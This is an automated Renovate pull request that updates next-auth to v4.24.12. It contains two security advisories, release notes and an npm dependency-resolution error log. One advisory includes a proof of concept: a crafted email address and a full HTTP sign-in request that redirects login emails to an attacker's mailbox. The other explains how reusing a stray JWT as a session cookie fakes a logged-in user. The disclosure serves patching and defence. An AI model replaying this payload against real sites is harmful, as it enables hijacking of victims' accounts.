chore(deps): update dependency next-auth to v4.24.12 [security]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
next-auth (source)	4.22.1 → 4.24.12

GitHub Vulnerability Alerts

CVE-2023-48309

Impact

next-auth applications prior to version 4.24.5 that rely on the default Middleware authorization are affected.

A bad actor could create an empty/mock user, by getting hold of a NextAuth.js-issued JWT from an interrupted OAuth sign-in flow (state, PKCE or nonce).

Manually overriding the next-auth.session-token cookie value with this non-related JWT would let the user simulate a logged in user, albeit having no user information associated with it. (The only property on this user is an opaque randomly generated string).

This vulnerability does not give access to other users' data, neither to resources that require proper authorization via scopes or other means. The created mock user has no information associated with it (ie. no name, email, access_token, etc.)

This vulnerability can be exploited by bad actors to peek at logged in user states (e.g. dashboard layout).

Note: Regardless of the vulnerability, the existence of a NextAuth.js session state can provide simple authentication, but not authorization in your applications. For role-based access control, you can check out our guide.

Patches

We patched the vulnerability in next-auth v4.24.5. To upgrade, run one of the following:

npm i next-auth@latest

yarn add next-auth@latest

pnpm add next-auth@latest

Workarounds

Upgrading to latest is the recommended way to fix this issue. However, using a custom authorization callback for Middleware, developers can manually do a basic authentication:

// middleware.ts
import { withAuth } from "next-auth/middleware"

export default withAuth(/*your middleware function*/, {
  // checking the existence of any property - besides `value` which might be a random string - on the `token` object is sufficient to prevent this vulnerability
  callbacks: { authorized: ({ token }) => !!token?.email }
})

References

• NextAuth.js Middleware
• Role-based access contorl (RBAC) guide

GHSA-5jpx-9hw9-2fx4

Summary

NextAuth.js's email sign-in can be forced to deliver authentication emails to an attacker-controlled mailbox due to a bug in nodemailer's address parser used by the project (fixed in nodemailer v7.0.7). A crafted input such as:

"e@attacker.com"@​victim.com

is parsed incorrectly and results in the message being delivered to e@attacker.com (attacker) instead of "<e@attacker.com>@&#8203;victim.com" (the intended recipient at victim.com) in violation of RFC 5321/5322 semantics. This allows an attacker to receive login/verification links or other sensitive emails intended for the victim.

Affected NextAuthjs Version

≤ Version	Afftected
4.24.11	Yes
5.0.0-beta.29	Yes

POC

Example Setup showing misdelivery of email

import NextAuth from "next-auth"
import Nodemailer from "next-auth/providers/nodemailer"
import { PrismaAdapter } from "@​auth/prisma-adapter"
import { prisma } from "@​/lib/prisma"

export const { handlers, auth, signIn, signOut } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [
    Nodemailer({
      server: {
        host: "127.0.0.1",
        port: 1025,
        ...
      },
      from: "noreply@authjs.dev",
    }),
  ],
  pages: {
    signIn: '/auth/signin',
    verifyRequest: '/auth/verify-request',
  },
})

POST /api/auth/signin/nodemailer HTTP/1.1
Accept-Encoding: gzip, deflate, br, zstd
Cache-Control: no-cache
Connection: keep-alive
Content-Length: 176
DNT: 1
Host: localhost:3000
Origin: http://localhost:3000
Pragma: no-cache
Referer: http://localhost:3000/auth/signin
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
accept: */*
accept-language: en-US,en;q=0.9,ta;q=0.8
content-type: application/x-www-form-urlencoded
sec-ch-ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
x-auth-return-redirect: 1

email=%22e%40attacker.coccm%22%40victim.com&csrfToken=90f5e6f48ab577ab011f212011862dcfe546459c23764cf891aab2d176f8d77a&callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fauth%2Fsignin

Mitigation

Update to nodemailer 7.0.7

Credits

https://zeropath.com/ Helped identify this security issue

---

Release Notes

nextauthjs/next-auth (next-auth)

v4.24.12

Compare Source

v4.24.11

Compare Source

v4.24.10

Compare Source

What's Changed

• fix: functions that return promises must be async by @​thomaslindstrom in #​12105
• fix: support AUTH_SECRET for compat with npx auth secret by @​balazsorban44 in 490a033

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.9...next-auth@4.24.10

v4.24.9

Compare Source

What's Changed

• chore(docs): fix typo in WorkOS documentation by @​outofgamut in #​11959
• chore(v4): add neon sponsor by @​ndom91 in #​12008
• cookie package upgraded by @​talyuk in #​12046
• Allow Next.js v15 peer dependency by @​thomaslindstrom in #​12098
• await dynamic APIs as per Next.js 15 changes by @​balazsorban44 in 4d143c5

New Contributors

• @​outofgamut made their first contribution in #​11959
• @​talyuk made their first contribution in #​12046
• @​thomaslindstrom made their first contribution in #​12098

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.8...next-auth@4.24.9

v4.24.8

Compare Source

What's Changed

• allow optional identifier param
• optionally check identifier
• tweak email flow, change homepage
• fix: typo in Naver Provider options url by @​no-pla in #​10483
• fix(providers): Update Foursquare profile callback + API version by @​MatyiFKBT in #​11348
• fix(ts): add compat types for @auth/*-adapters for v4 by @​balazsorban44 in #​11562
• fix:Matcher wildcard docs-Update securing-pages-and-api-routes.md by @​yaodada123 in #​11599
• Update linkedin.ts to support new scopes by @​PragyanSubedi in #​11805
• fix: updated email for auth user in github endpoint by @​A91y in #​11896

New Contributors

• @​martinkariuki7 made their first contribution in #​10329
• @​no-pla made their first contribution in #​10483
• @​azadious made their first contribution in #​10603
• @​mbrookson made their first contribution in #​10916
• @​craftycodie made their first contribution in #​10921
• @​erik-gullberg-devoteam made their first contribution in #​11323
• @​yaodada123 made their first contribution in #​11599
• @​PragyanSubedi made their first contribution in #​11805
• @​leorente made their first contribution in #​11855
• @​A91y made their first contribution in #​11896

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.24.7...next-auth@4.24.8

v4.24.7

Compare Source

Others

• chore(deps): bump jose (#​10240). See: https://github.com/panva/jose/releases/tag/v4.15.5

v4.24.6

Compare Source

Bugfixes

• providers: correct nodemailer imports (#​9261) (fa287be)

v4.24.5

Compare Source

Bugfixes

• differentiate between issued JWTs

v4.24.4

Compare Source

Bugfixes

• allow Next.js 14 as peer dependency

v4.24.3

Compare Source

Bugfixes

• css build error

v4.24.2

Compare Source

Bugfixes

• css build error

v4.24.1

Compare Source

Bugfixes

• css build error

v4.24.0

Compare Source

Features

• tweak default sign-in page (#​8888)

v4.23.2

Compare Source

Bugfixes

• next: returns correct status for signing in with redirect: false for route handler (#​8775) (27b2519)
• ts: fix typo (d813c00)
• remove trailing ? from signIn URL (#​8466)

Other

• update security policy link

v4.23.1

Compare Source

Bugfixes

• ts: correctly expose next-auth/adapters (20c3fe3)
• use default submodules export in package.json (#​8330)

v4.23.0

Compare Source

Features

• providers: add Passage by 1Password (5a8aa2e)

Bugfixes

• ts: correctly export submodule types (05ff6ae)
• sort cookie chunks correctly (#​8284)

v4.22.5

Compare Source

Bugfixes

• ts: match next-auth/adapter & @auth/core/adapters (3b0128c)

Other

• docs: amplify note

v4.22.4

Compare Source

Bugfixes

• ts: SignInResponse.error type (#​8109) (465644f)
• Remove RSC warning in getServerSession (#​8108)
• Don't return res.end() in api handler (#​8244)

Other

• docs: fixing broken link in documentation (#​8208)
• docs: clarify getServerSession
• docs: move unstable_getServerSession
• docs: Typo fixed (#​8206)
• docs(providers): mention HTTP-based Email guide (#​8214)
• docs: Update object key "email" to "username" (#​8113)
• doc: Add a guide on sending magic links to existing users only (#​7663)
• docs: Update refresh-token-rotation.md - fix example client code filename (#​8088)
• docs(providers): updated docs with missing account attribute (#​8084)

v4.22.3

Compare Source

Full Changelog: https://github.com/nextauthjs/next-auth/compare/next-auth@4.22.2...next-auth@4.22.3

v4.22.2

Compare Source

Bugfixes

• providers: fix nodemailer/required types (#​7950) (f48eb04)
• ts: adapter interface (#​8054) (bd37c55)
• ts: add overloads to withAuth middleware (#​7999) (169a523)
• respect protocol too, when host is trusted (#​7214)

Other

• remove unused TS types
• merge changes back to v4 (#​7430)
• rephrase

---

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

---

• If you want to rebase/retry this PR, check this box

---

This PR was generated by Mend Renovate. View the repository job log.

[renovate]

Branch automerge failure

This PR was configured for branch automerge. However, this is not possible, so it has been raised as a PR instead.

[renovate]

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

• any of the package files in this branch needs updating, or
• the branch becomes conflicted, or
• you click the rebase/retry checkbox if found above, or
• you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: frontend/package-lock.json

npm warn Unknown env config "store". This will stop working in the next major version of npm.
npm error code ERESOLVE
npm error ERESOLVE unable to resolve dependency tree
npm error
npm error While resolving: frontend-v2@0.1.0
npm error Found: nodemailer@6.10.1
npm error node_modules/nodemailer
npm error   peerOptional nodemailer@"^6.8.0" from @auth/core@0.34.2
npm error   node_modules/@auth/core
npm error     peerOptional @auth/core@"0.34.2" from next-auth@4.24.12
npm error     node_modules/next-auth
npm error       next-auth@"4.24.12" from the root project
npm error
npm error Could not resolve dependency:
npm error peerOptional nodemailer@"^7.0.7" from next-auth@4.24.12
npm error node_modules/next-auth
npm error   next-auth@"4.24.12" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2026-02-02T21_16_59_561Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2026-02-02T21_16_59_561Z-debug-0.log